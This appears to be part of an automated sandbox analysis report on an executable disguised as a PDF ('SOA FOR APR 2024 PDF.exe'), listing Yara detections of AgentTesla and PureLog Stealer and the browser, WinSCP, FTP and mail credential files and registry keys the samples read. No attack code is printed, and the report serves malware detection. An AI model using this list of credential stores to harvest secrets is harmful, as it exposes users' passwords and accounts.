Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Users\user\AppData\Roaming\eeBIYZL.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Users\user\AppData\Roaming\eeBIYZL.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7364, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.5260000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.5260000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2071533656.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075260613.0000000005260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.unpack, type: UNPACKEDPE
